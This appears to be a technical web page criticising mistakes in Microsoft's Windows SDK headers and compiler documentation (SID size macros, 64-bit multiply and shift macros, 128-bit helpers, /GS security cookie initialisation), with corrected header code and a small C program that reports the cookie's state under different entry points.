Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
winnt.h shipped with the
            SID
            alias Security Identifier Structure as follows:
        Oops¹: the definition of the#define ANYSIZE_ARRAY 1 […] //////////////////////////////////////////////////////////////////////// // // // Security Id (SID) // // // //////////////////////////////////////////////////////////////////////// // // // Pictorially the structure of an SID is as follows: // // 1 1 1 1 1 1 // 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 // +---------------------------------------------------------------+ // | SubAuthorityCount |Reserved1 (SBZ)| Revision | // +---------------------------------------------------------------+ // | IdentifierAuthority[0] | // +---------------------------------------------------------------+ // | IdentifierAuthority[1] | // +---------------------------------------------------------------+ // | IdentifierAuthority[2] | // +---------------------------------------------------------------+ // | | // +- - - - - - - - SubAuthority[] - - - - - - - - -+ // | | // +---------------------------------------------------------------+ // // #ifndef SID_IDENTIFIER_AUTHORITY_DEFINED #define SID_IDENTIFIER_AUTHORITY_DEFINED typedef struct _SID_IDENTIFIER_AUTHORITY { BYTE Value[6]; } SID_IDENTIFIER_AUTHORITY, *PSID_IDENTIFIER_AUTHORITY; #endif #ifndef SID_DEFINED #define SID_DEFINED typedef struct _SID { BYTE Revision; BYTE SubAuthorityCount; SID_IDENTIFIER_AUTHORITY IdentifierAuthority; DWORD SubAuthority[ANYSIZE_ARRAY]; } SID, *PISID; #endif #define SID_REVISION (1) // Current revision level #define SID_MAX_SUB_AUTHORITIES (15) #define SID_RECOMMENDED_SUB_AUTHORITIES (1) // Will change to around 6 // in a future release. #define SECURITY_MAX_SID_SIZE \ (sizeof(SID) - sizeof(DWORD) + (SID_MAX_SUB_AUTHORITIES * sizeof(DWORD))) // 2 (S-) // 4 (Rev(max: 255)-) // 15 ( // If (Auth < 2^32): Auth(max:4294967295)- // Else: 0xAuth(max:FFFFFFFFFFFF)- // ) // (11 * SID_MAX_SUB_AUTHORITIES) (SubN(max:4294967295)-) // 1 (NULL character) // = 187 (assuming SID_MAX_SUB_AUTHORITIES = 15) #define SECURITY_MAX_SID_STRING_CHARACTERS \ (2 + 4 + 15 + (11 * SID_MAX_SUB_AUTHORITIES) + 1) […] ///////////////////////////////////////////////////////////////////////////// // // // Universal well-known SIDs // // // // Null SID S-1-0-0 // // World S-1-1-0 // // Local S-1-2-0 // // Creator Owner ID S-1-3-0 // // Creator Group ID S-1-3-1 // // Creator Owner Server ID S-1-3-2 // // Creator Group Server ID S-1-3-3 // // // // (Non-unique IDs) S-1-4 // // // ///////////////////////////////////////////////////////////////////////////// #define SECURITY_NULL_SID_AUTHORITY {0,0,0,0,0,0} #define SECURITY_WORLD_SID_AUTHORITY {0,0,0,0,0,1} #define SECURITY_LOCAL_SID_AUTHORITY {0,0,0,0,0,2} #define SECURITY_CREATOR_SID_AUTHORITY {0,0,0,0,0,3} #define SECURITY_NON_UNIQUE_AUTHORITY {0,0,0,0,0,4} #define SECURITY_RESOURCE_MANAGER_AUTHORITY {0,0,0,0,0,9} […] /////////////////////////////////////////////////////////////////////////////// // // // NT well-known SIDs // // // // NT Authority S-1-5 // // Dialup S-1-5-1 // // // // Network S-1-5-2 // // Batch S-1-5-3 // // Interactive S-1-5-4 // // (Logon IDs) S-1-5-5-X-Y // // Service S-1-5-6 // // AnonymousLogon S-1-5-7 (aka null logon session) // // Proxy S-1-5-8 // // Enterprise DC (EDC) S-1-5-9 (aka domain controller account) // // Self S-1-5-10 (self RID) // // Authenticated User S-1-5-11 (Authenticated user somewhere) // // Restricted Code S-1-5-12 (Running restricted code) // // Terminal Server S-1-5-13 (Running on Terminal Server) // // Remote Logon S-1-5-14 (Remote Interactive Logon) // // This Organization S-1-5-15 // // // // IUser S-1-5-17 // // Local System S-1-5-18 // // Local Service S-1-5-19 // // Network Service S-1-5-20 // // // // (NT non-unique IDs) S-1-5-0x15-... (NT Domain Sids) // // // // (Built-in domain) S-1-5-0x20 // // // // (Security Package IDs) S-1-5-0x40 // // NTLM Authentication S-1-5-0x40-10 // // SChannel Authentication S-1-5-0x40-14 // // Digest Authentication S-1-5-0x40-21 // // // // Other Organization S-1-5-1000 (>=1000 can not be filtered) // // // // // // NOTE: the relative identifier values (RIDs) determine which security // // boundaries the SID is allowed to cross. Before adding new RIDs, // // a determination needs to be made regarding which range they should // // be added to in order to ensure proper "SID filtering" // // // /////////////////////////////////////////////////////////////////////////////// #define SECURITY_NT_AUTHORITY {0,0,0,0,0,5} // ntifs […] #define SECURITY_APP_PACKAGE_AUTHORITY {0,0,0,0,0,15} […] #define SECURITY_MANDATORY_LABEL_AUTHORITY {0,0,0,0,0,16} […] #define SECURITY_SCOPED_POLICY_ID_AUTHORITY {0,0,0,0,0,17} […] #define SECURITY_AUTHENTICATION_AUTHORITY {0,0,0,0,0,18} […] #define SECURITY_PROCESS_TRUST_AUTHORITY {0,0,0,0,0,19}
SID_IDENTIFIER_AUTHORITY structure fails to match the
            ASCII
            art – according to the latter it should be
            WORD Value[3] instead of BYTE Value[6]!
         Oops²: the value of the preprocessor macro
            SECURITY_MAX_SID_SIZE fails to match the definition of
            the SID structure –
            according to the latter it should be
            (sizeof(SID) + sizeof(DWORD) * (SID_MAX_SUB_AUTHORITIES - ANYSIZE_ARRAY))!
        
 Oops³: the value of the preprocessor macro
            SECURITY_MAX_SID_STRING_CHARACTERS (introduced with
            Windows 10 1703 alias Creators Update,
            codenamed Redstone 2) counts one minus sign to many and
            matches neither the
            ASCII
            art nor (the use of) the SID_IDENTIFIER_AUTHORITY
            structure – it should be
            (sizeof("S-15-65535") + sizeof("4294967295") * SID_MAX_SUB_AUTHORITIES)
            to match the former or
            (sizeof("S-15-255") + sizeof("4294967295") * SID_MAX_SUB_AUTHORITIES)
            to match the latter!
        
 OUCH: there is no NULL character
 –
            NULL
            is a preprocessor macro defined as ((void *) 0)!
            Well-known SIDs
            SID Strings
        
preprocessor macro
Int32x32To64()
            states:
        Multiplies two signed 32-bit integers, returning a signed 64-bit integer result. The function performs optimally on 32-bit Windows.OUCH¹: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int32x32To64( [in] a, [in] b )Return value
None
Remarks
This function is implemented on all platforms by optimal inline code: a single multiply instruction that returns a 64-bit result.
Please note that the function's return value is a 64-bit value, not a LARGE_INTEGER structure.
 The documentation for the preprocessor macro
            UInt32x32To64()
            states:
        
Multiplies two unsigned 32-bit integers, returning an unsigned 64-bit integer result. The function performs optimally on 32-bit Windows.OUCH²: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void UInt32x32To64( [in] a, [in] b )Return value
None
Remarks
This function is implemented on all platforms by optimal inline code: a single multiply instruction that returns a 64-bit result.
Please note that the function's return value is a 64-bit value, not a LARGE_INTEGER structure.
 The documentation for the preprocessor macro
            Int64ShllMod32()
            states:
        
Performs a left logical shift operation on an unsigned 64-bit integer value. The function provides improved shifting code for left logical shifts where the shift count is in the range 0-31.OUCH³: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int64ShllMod32( [in] a, [in] b )Return value
None
Remarks
[…] By restricting the shift count to the range 0-31, the Int64ShllMod32 function lets the compiler generate optimal or near-optimal code.
Please note that the Int64ShllMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.
 The documentation for the preprocessor macro
            Int64ShraMod32()
            states:
        
Performs a right arithmetic shift operation on a signed 64-bit integer value. The function provides improved shifting code for right arithmetic shifts where the shift count is in the range 0-31.OUCH⁴: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int64ShraMod32( [in] a, [in] b )Return value
None
Remarks
[…] By restricting the shift count to the range 0-31, the Int64ShraMod32 function lets the compiler generate optimal or near-optimal code.
Please note that the Int64ShraMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.
 The documentation for the preprocessor macro
            Int64ShrlMod32()
            states:
        
Performs a right logical shift operation on an unsigned 64-bit integer value. The function provides improved shifting code for right logical shifts where the shift count is in the range 0-31.OUCH⁵: whoever wrote this junk was but severely confused – is this a function or a (preprocessor) macro, does it return a value or not?[…]void Int64ShrlMod32( [in] a, [in] b )Return value
None
Remarks
[…] By restricting the shift count to the range 0-31, the Int64ShrlMod32 function lets the compiler generate optimal or near-optimal code.
Note
The Int64ShrlMod32 function's Value parameter and return value are 64-bit values, not LARGE_INTEGER structures.
 The header file winnt.h shipped with the
            Platform Windows Software Development Kits
            defines the preprocessor macros
            Int32x32To64(a, b)
            and
            UInt32x32To64(a, b)
            for widening
 32-bit×32-bit integer multiplication plus
            the inline functions
            Int64ShllMod32(),
            Int64ShraMod32()
            and
            Int64ShrlMod32()
            for 64-bit integer shifts as follows:
        
OUCH⁶: contrary to their documentations cited above as well as the first highlighted comment in the header file// // Define operations to logically shift an int64 by 0..31 bits and to multiply // 32-bits by 32-bits to form a 64-bit product. // #if defined(MIDL_PASS) || defined(RC_INVOKED) || defined(_M_CEE_PURE) \ || defined(_68K_) || defined(_MPPC_) \ || defined(_M_IA64) || defined(_M_AMD64) || defined(_M_ARM) || defined(_M_ARM64) \ || defined(_M_HYBRID_X86_ARM64) // // Midl does not understand inline assembler. Therefore, the Rtl functions // are used for shifts by 0..31 and multiplies of 32-bits times 32-bits to // form a 64-bit product. // // // IA64 and AMD64 have native 64-bit operations that are just as fast as their // 32-bit counter parts. Therefore, the int64 data type is used directly to form // shifts of 0..31 and multiplies of 32-bits times 32-bits to form a 64-bit // product. // #define Int32x32To64(a, b) (((__int64)((long)(a))) * ((__int64)((long)(b)))) #define UInt32x32To64(a, b) (((unsigned __int64)((unsigned int)(a))) * ((unsigned __int64)((unsigned int)(b)))) #define Int64ShllMod32(a, b) (((unsigned __int64)(a)) << (b)) #define Int64ShraMod32(a, b) (((__int64)(a)) >> (b)) #define Int64ShrlMod32(a, b) (((unsigned __int64)(a)) >> (b)) #elif defined(_M_IX86) // // The x86 C compiler understands inline assembler. Therefore, inline functions // that employ inline assembler are used for shifts of 0..31. The multiplies // rely on the compiler recognizing the cast of the multiplicand to int64 to // generate the optimal code inline. // #define Int32x32To64(a, b) ((__int64)(((__int64)((long)(a))) * ((long)(b)))) #define UInt32x32To64(a, b) ((unsigned __int64)(((unsigned __int64)((unsigned int)(a))) * ((unsigned int)(b)))) […] __inline ULONGLONG NTAPI Int64ShllMod32 ( _In_ ULONGLONG Value, _In_ DWORD ShiftCount ) { __asm { mov ecx, ShiftCount mov eax, dword ptr [Value] mov edx, dword ptr [Value+4] shld edx, eax, cl shl eax, cl } } __inline LONGLONG NTAPI Int64ShraMod32 ( _In_ LONGLONG Value, _In_ DWORD ShiftCount ) { __asm { mov ecx, ShiftCount mov eax, dword ptr [Value] mov edx, dword ptr [Value+4] shrd eax, edx, cl sar edx, cl } } __inline ULONGLONG NTAPI Int64ShrlMod32 ( _In_ ULONGLONG Value, _In_ DWORD ShiftCount ) { __asm { mov ecx, ShiftCount mov eax, dword ptr [Value] mov edx, dword ptr [Value+4] shrd eax, edx, cl shr edx, cl } } […] #else #error Must define a target architecture. #endif
winnt.h cited above, the preprocessor macros
            Int64ShllMod32(),
            Int64ShraMod32()
            and
            Int64ShrlMod32()
            but shift by 0 to 63 bits instead of 0 to 31 bits – to comply
            with the functions defined in the header file winnt.h
            their second parameter must be masked with 31, i.e.
            (31 & (b)) instead of (b)!
         OUCH⁷: contrary to the highlighted statements
            of their documentations cited above, the Visual C
            compiler does not generate code for the
            Int64ShllMod32(),
            Int64ShraMod32()
            and
            Int64ShrlMod32()
            functions – their bodies are written in i386
            assembly!
        
 OUCH⁸: contrary to the
            highlighted statements of their documentations cited above, the
            Visual C compiler but fails to
            generate a single multiply instruction for the preprocessor macros
            Int32x32To64(a, b)
            and
            UInt32x32To64(a, b)!
        
 CAVEAT: this awful mess should have been replaced
            since more than 20 years by the intrinsic functions
            __emul(),
            __emulu(),
            __ll_lshift(),
            __ll_rshift()
            and
            __ull_rshift()
            available with the Visual C compiler 7.1 alias
            2003 and later versions!
        
blunder.h with the following
            contents and #include it in your source files:
        // Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#pragma once
#ifndef _M_IX86
#undef Int64ShllMod32
#define Int64ShllMod32(a, b) (((unsigned __int64)(a)) << (31 & (b)))
#undef Int64ShraMod32
#define Int64ShraMod32(a, b) (((__int64)(a)) >> (31 & (b)))
#undef Int64ShrlMod32
#define Int64ShrlMod32(a, b) (((unsigned __int64)(a)) >> (31 & (b)))
#else // _M_IX86
#undef Int32x32To64	// BLUNDER: MSC generates call to _allmul() instead of inline code!
#undef UInt32x32To64
#pragma intrinsic(__emul, __emulu)
#define Int32x32To64	__emul
#define UInt32x32To64	__emulu
         __int64	__emul(int multiplicand, int multiplier);
unsigned __int64	__emulu(unsigned int multiplicand, unsigned int multiplier);
#pragma intrinsic(__ll_lshift, __ll_rshift, __ull_rshift)
#define Int64ShllMod32	__ll_lshift
#define Int64ShraMod32	__ll_rshift
#define Int64ShrlMod32	__ull_rshift
unsigned __int64	__ll_lshift(unsigned __int64 value, int count);
         __int64	__ll_rshift(__int64 value, int count);
unsigned __int64	__ull_rshift(unsigned __int64 value, int count);
#endif // _M_IX86_mul128()
            intrinsic function of the Visual C compiler
            specifies:
        Multiplies two 64-bit integers passed in as the first two arguments and puts the high 64 bits of the product in the 64-bit integer pointed to byThe documentation for theHighProductand returns the low 64 bits of the product.__int64 _mul128( __int64 Multiplier, __int64 Multiplicand, __int64 *HighProduct );
__shiftright128()
            intrinsic function of the Visual C compiler
            specifies:
        Shifts a 128-bit quantity, represented as two 64-bit quantitiesNote: both intrinsic functions are available only on the AMD64 alias x64 platform.LowPartandHighPart, to the right by a number of bits specified byShiftand returns the low 64 bits of the result.[…]unsigned __int64 __shiftright128( unsigned __int64 LowPart, unsigned __int64 HighPart, unsigned char Shift );The
Shiftvalue is always modulo 64 so that, for example, if you call__shiftright128(0, 1, 64), the function will shift the high part0bits right and return a low part of0and not1as might otherwise be expected.
 The documentation for the
            ShiftRight128()
            function states:
        
Shifts 128-bit right.OUCH¹: this documentation but fails to specify that the implementation interprets theDWORD64 ShiftRight128( DWORD64 LowPart, DWORD64 HighPart, BYTE Shift );
Shift parameter
            modulo 64!
         The documentation for the
            MultiplyExtract128()
            function states:
        
Multiplies two 64-bit integers to produce a 128-bit integer, shifts the product to the right by the specified number of bits, and returns the low 64 bits of the result.OUCH²: this documentation too fails to specify that the implementation interprets theLONG64 MultiplyExtract128( [in] LONG64 Multiplier, [in] LONG64 Multiplicand, [in] BYTE Shift );
Shift parameter
            modulo 64!
         The header file winnt.h shipped with the
            Platform Windows Software Development Kits
            as well bad as the header file
            wdm.h shipped with the
            Windows Driver Kits
            Download the Windows Driver Kit (WDK)
            provide the following braindead implementation of
            this function:
        
#if defined(_M_AMD64) && !defined(RC_INVOKED) && !defined(MIDL_PASS)
[…]
//
// Define functions to perform 128-bit shifts
//
#define ShiftLeft128 __shiftleft128
#define ShiftRight128 __shiftright128
DWORD64
ShiftLeft128 (
    _In_ DWORD64 LowPart,
    _In_ DWORD64 HighPart,
    _In_ BYTE  Shift
    );
DWORD64
ShiftRight128 (
    _In_ DWORD64 LowPart,
    _In_ DWORD64 HighPart,
    _In_ BYTE  Shift
    );
#pragma intrinsic(__shiftleft128)
#pragma intrinsic(__shiftright128)
//
// Define functions to perform 128-bit multiplies.
//
#define Multiply128 _mul128
LONG64
Multiply128 (
    _In_ LONG64 Multiplier,
    _In_ LONG64 Multiplicand,
    _Out_ LONG64 *HighProduct
    );
#pragma intrinsic(_mul128)
[…]
__forceinline
LONG64
MultiplyExtract128 (
    _In_ LONG64 Multiplier,
    _In_ LONG64 Multiplicand,
    _In_ BYTE  Shift
    )
{
    LONG64 extractedProduct;
    LONG64 highProduct;
    LONG64 lowProduct;
    BOOLEAN negate;
    DWORD64 uhighProduct;
    DWORD64 ulowProduct;
    lowProduct = Multiply128(Multiplier, Multiplicand, &highProduct);
    negate = FALSE;
    uhighProduct = (DWORD64)highProduct;
    ulowProduct = (DWORD64)lowProduct;
    if (highProduct < 0) {
        negate = TRUE;
        uhighProduct = (DWORD64)(-highProduct);
        ulowProduct = (DWORD64)(-lowProduct);
        if (ulowProduct != 0) {
            uhighProduct -= 1;
        }
    }
    extractedProduct = (LONG64)ShiftRight128(ulowProduct, uhighProduct, Shift);
    if (negate != FALSE) {
        extractedProduct = -extractedProduct;
    }
    return extractedProduct;
}
[…]
#endif // defined(_M_AMD64) && !defined(RC_INVOKED) && !defined(MIDL_PASS)blunder.h with the following
            contents and #include it in your source files:
        // Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#pragma once
#ifdef _M_AMD64
#pragma intrinsic(_mul128, __shiftright128)
__forceinline
__int64 MultiplyExtract128(__int64 multiplier, __int64 multiplicand, __int8 shift)
{
    __int64 high, low = _mul128(multiplier, multiplicand, &high);
    return (__int64) __shiftright128(low, high, shift);
}
#endif // _M_AMD64You can specify any number of options, filenames, and library names, as long as the number of characters on the command line does not exceed 1024, the limit dictated by the operating system.OUCH: Windows NT supports but up to 32767 characters on the command line!
 Note: according to the
            MSKB
            article
            830473,
            the command interpreter
            Cmd.exe
            supports up to 8191 characters on the command line.
        
/GS
            compiler option
            states:
        The /GS compiler option requires that the security cookie be initialized before any function that uses the cookie is run. The security cookie must be initialized immediately on entry to an EXE or DLL. This is done automatically if you use the default VCRuntime entry points: mainCRTStartup, wmainCRTStartup, WinMainCRTStartup, wWinMainCRTStartup, or _DllMainCRTStartup. If you use an alternate entry point, you must manually initialize the security cookie by calling __security_init_cookie.OOPS¹: contrary to the first highlighted statement of this documentation, the code generated by the Visual C compiler requires only that the (arbitrary) value of the security cookie does not change between entry and exit of any function which uses it!
 OOPS²:
            TLS callback
            functions are called before the normal (default)
            entry points, conventionally named mainCRTStartup,
            wmainCRTStartup, WinMainCRTStartup,
            wWinMainCRTStartup and _DllMainCRTStartup!
        
 OOPS³: contrary to the second highlighted
            statement of this documentation there is no need to call the
            __security_init_cookie()
            function to (re)initialise the security cookie!
        
Note: this documentation also fails to provide the following (implementation) details:
_load_config_used
            structure matches the size of the
            IMAGE_LOAD_CONFIG_DIRECTORY
            structure in the eleventh entry of the
            IMAGE_DATA_DIRECTORY
            array in the
            IMAGE_OPTIONAL_HEADER
            structure;
        __security_init_cookie()
            function provided in the
            MSVCRT
            libraries (re)initialises the security cookie with a (pseudo-)random
            value only if it has this default value or is 0!
        If you link withstrict_gs_check pragma/NODEFAULTLIBand you want a table of safe exception handlers, you need to supply a load config struct (…) that contains all the entries defined for Visual C++. For example:#include <windows.h> extern DWORD_PTR __security_cookie; /* /GS security cookie */ /* * The following two names are automatically created by the linker for any * image that has the safe exception table present. */ extern PVOID __safe_se_handler_table[]; /* base of safe handler entry table */ extern BYTE __safe_se_handler_count; /* absolute symbol whose address is the count of table entries */ const IMAGE_LOAD_CONFIG_DIRECTORY32 _load_config_used = { sizeof(IMAGE_LOAD_CONFIG_DIRECTORY32), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, &__security_cookie, __safe_se_handler_table, (DWORD)(DWORD_PTR) &__safe_se_handler_count };
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define _CRT_SECURE_NO_WARNINGS
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifndef _WIN64
#ifdef BLUNDER
DWORD_PTR	__security_cookie = 0UL;
#else
DWORD_PTR	__security_cookie = 0xBB40E64EUL;
#endif		               // = 3141592654 = 10**9 * pi
extern	LPVOID	__safe_se_handler_table[];
extern	BYTE	__safe_se_handler_count;
const	IMAGE_LOAD_CONFIG_DIRECTORY32	_load_config_used = {sizeof(_load_config_used),
					                     'DATE',	// 0x44415445 = 2006-04-15 20:15:01 UTC
					                     _MSC_VER / 100,
					                     _MSC_VER % 100,
					                     0UL, 0UL, 0UL, 0UL, 0UL, 0UL, 0UL, 0UL,
					                     HEAP_GENERATE_EXCEPTIONS,
					                     0UL, 0, 0, 0UL,
					                     &__security_cookie,
					                     __safe_se_handler_table,
					                     &__safe_se_handler_count};
#else // _WIN64
#ifdef BLUNDER
DWORD_PTR	__security_cookie = 0ULL;
#else
DWORD_PTR	__security_cookie = 0x00002B992DDFA232ULL;
		               // = 3141592653589793238 >> 16
#endif		               // = 10**18 / 2**16 * pi
const	IMAGE_LOAD_CONFIG_DIRECTORY64	_load_config_used = {sizeof(_load_config_used),
					                     'TIME',	// 0x54494D45 = 2014-10-23 18:47:33 UTC
					                     _MSC_VER / 100,
					                     _MSC_VER % 100,
					                     0UL, 0UL, 0UL, 0ULL, 0ULL, 0ULL, 0ULL, 0ULL, 0ULL,
					                     HEAP_GENERATE_EXCEPTIONS,
					                     0, 0, 0ULL,
					                     &__security_cookie,
					                     0ULL,
					                     0ULL};
#endif // _WIN64
#ifdef _DLL
__declspec(dllexport)
__declspec(safebuffers)
BOOL	WINAPI	ConsoleCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie)
{
	WCHAR	szCookie[1025];
	DWORD	dwCookie;
	DWORD	dwConsole;
	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
	if (hConsole == INVALID_HANDLE_VALUE)
		return FALSE;
#ifndef _WIN64
	if (gsCookie == 0xBB40E64EUL)
#else
	if (gsCookie == 0x00002B992DDFA232ULL)
#endif
		dwCookie = wsprintf(szCookie,
		                    L"%ls entry point: /GS security cookie is NOT initialised!\a\n",
		                    lpCookie);
	else if (gsCookie == 0)
		dwCookie = wsprintf(szCookie,
		                    L"%ls entry point: /GS security cookie is 0!\a\n",
		                    lpCookie);
	else
		dwCookie = wsprintf(szCookie,
		                    L"%ls entry point: /GS security cookie is initialised with 0x%p\n",
		                    lpCookie, gsCookie);
	if (dwCookie == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szCookie, dwCookie, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwCookie;
}
__declspec(dllexport)
__declspec(safebuffers)
BOOL	WINAPI	WindowsCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie)
{
	WCHAR	szCookie[1025];
	DWORD	dwCookie;
	UINT	uiCookie = MB_ICONERROR | MB_OK;
#ifndef _WIN64
	if (gsCookie == 3141592654UL)
#else
	if (gsCookie == 3141592653589793238ULL >> 16)
#endif
		wcscpy(szCookie, L"/GS security cookie is NOT initialised!\n");
	else if (gsCookie == 0)
		wcscpy(szCookie, L"/GS security cookie is 0!\n");
	else
	{
		uiCookie = MB_ICONINFORMATION | MB_OK;
		dwCookie = wsprintf(szCookie,
		                    L"/GS security cookie is initialised with 0x%p\n",
		                    gsCookie);
		szCookie[dwCookie] = L'\0';
	}
	return MessageBoxEx(HWND_DESKTOP, szCookie, lpCookie, uiCookie,
	                    MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
}
BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
	if (dwReason != DLL_PROCESS_ATTACH)
		return FALSE;
	if (GetConsoleWindow() != NULL)
		ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
	else
		WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
	return TRUE;
}
#else // _DLL
__declspec(dllimport)
BOOL	WINAPI	ConsoleCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	ConsoleCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
	ExitProcess(GetLastError());
}
__declspec(dllimport)
BOOL	WINAPI	WindowsCookie(LPCWSTR lpCookie, DWORD_PTR gsCookie);
__declspec(noreturn)
VOID	CDECL	wWinMainCRTStartup(VOID)
{
	WindowsCookie(__LPREFIX(__FUNCDNAME__), __security_cookie);
	ExitProcess(GetLastError());
}
#endif // _DLL Compile and link the source file blunder.c created in
            step 1. a first time to build the
            DLL
            blunder.dll and its import library
            blunder.lib:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/MACHINE:I386 /NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
 Note: blunder.dll is a pure
            Win32
            DLL
            and builds without the
            MSVCRT
            libraries.
        
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' blunder.c(115) : warning C4100: 'lpReserved' : unreferenced formal parameter blunder.c(115) : warning C4100: 'hModule' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /MACHINE:I386 /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Creating library blunder.lib and object blunder.exp
 Compile the source file blunder.c created in
            step 1. a second time and link it with the import library
            blunder.lib generated in step 2. to build the
            console application blunder.com:
        
SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /Feblunder.com blunder.c blunder.lib kernel32.lib user32.libNote:
blunder.com is a pure
            Win32 console application and builds without the
            MSVCRT
            libraries.
        Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.com blunder.obj blunder.lib kernel32.lib user32.lib
 Compile the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined, and link it with the import library
            blunder.lib generated in step 2. to build the
            Windows application blunder.exe:
        
SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DBLUNDER blunder.c blunder.lib kernel32.lib user32.libNote:
blunder.exe is a pure
            Win32 application and builds without the
            MSVCRT
            libraries.
        Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(27) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD_PTR *' blunder.c(28) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'LPVOID *' blunder.c(29) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'BYTE *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wWinMainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:WINDOWS /out:blunder.exe blunder.obj blunder.lib kernel32.lib user32.lib
 Load and execute the
            DLL
            blunder.dll built in step 2., the console
            application blunder.com built in step 3. and the
            Windows application blunder.exe built in
            step 4. under Windows 7:
        
 
            
            
        
CONTROL.EXE "%CD%\blunder.dll" .\blunder.com .\blunder.exe
__DllMainCRTStartup@12 entry point: /GS security cookie is initialised with 0xA7CF5A3A _wmainCRTStartup entry point: /GS security cookie is NOT initialised!
Load and execute them under Windows 10:
__DllMainCRTStartup@12 entry point: /GS security cookie initialised with 0xC97D2381 _wmainCRTStartup entry point: /GS security cookie initialised with 0xAB5E5CC5
 Compile and link the source file blunder.c created in
            step 1. three more times to build blunder.dll,
            blunder.com and blunder.exe for the
            x64 alias AMD64 processor architecture:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/MACHINE:AMD64 /NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.lib SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /Feblunder.com blunder.c blunder.lib kernel32.lib user32.lib SET LINK=/ENTRY:wWinMainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:WINDOWS CL.EXE /DBLUNDER blunder.c blunder.lib kernel32.lib user32.lib
